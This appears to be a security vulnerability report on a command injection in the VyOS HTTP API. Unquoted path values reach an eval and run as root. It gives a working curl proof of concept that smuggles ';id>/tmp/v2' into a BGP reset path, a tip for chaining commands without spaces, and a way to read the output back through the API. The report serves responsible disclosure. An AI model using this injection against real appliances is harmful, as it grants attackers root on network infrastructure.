Summary
The HTTP API op-mode execution path interpolates user-controlled path elements into a shell
command line without quoting, letting an authenticated API key holder break out of the
vtysh -c "..." context and execute arbitrary commands as root
(vyos-http-api.service runs User=root, template line 19).
- Affected code
- opt/vyatta/share/vyatta-op/functions/interpreter/vyatta-op-run
- lines 133-134: run_cmd="${run_cmd/\"\$\@\"/${args[*]}}" / .../\$\*/... unquoted join of user data
- line 227: run_cmd=$(_vyatta_op_conv_run_cmd "$run_cmd") (substitutes $N -> ${args[N]} verbatim)
- line 237: eval "$run_cmd"
- usr/libexec/vyos/op_mode/bgp.py line 104: cmd(f'vtysh -c "{command}"')
- usr/lib/python3/dist-packages/vyos/utils/process.py lines 85-87: popen() switches to shell=True when the command string contains a space
- Scope: 386 op nodes use the run: ... --command="$*" pattern (reset bgp ...: 321 nodes, reset ip ...: 65 nodes)
- Steps to reproduce (verified on 1.5.1, build c2378372)
- set service https api keys id id1 key <KEY>; commit
- Authenticate as a normal API key holder and send:
curl -k -X POST https:///reset
-F key=
-F 'data={"op":"reset","path":["bgp","ipv4","1.2.3.4";id>/tmp/v2""]}'
- The " in the tag closes the --command="... literal, so ;id>/tmp/v2 runs as a separate shell command inside the eval on line 237.
- Read the result through the API itself: POST /show {"op":"show","path":["file","/tmp/v2"]}
- Observed result
/tmp/v2 contains uid=0(root) gid=102(vyattacfg); stat shows owner root:vyattac
while the API client user is vyos (uid 1002) — commands execute as root.
Note: the tag payload must not contain spaces (tag values pass through word splitting in
_vyatta_op_conv_node_path); chain commands with ; and redirects.
Expected behavior
Tag/path values should reach the underlying command as an argument list (or be
shell-escaped), not be textually interpolated into an evaled command line.
Impact
Any holder of a valid API key commonly shared with monitoring systems and stored in
plain text inside config backups gains unrestricted root on the appliance. Escalation
path: config-read access -> root code execution. Affects every REST op endpoint
(/show, /reset, /generate) on default configurations with the API enabled.
Related
Same class as vyos/vyos-1x PR #5010 (bonding.py / load_config.py, closed unmerged);
this report extends it to the vyatta-op-run eval layer used by all op endpoints.
PoC script and patch proposal available on request.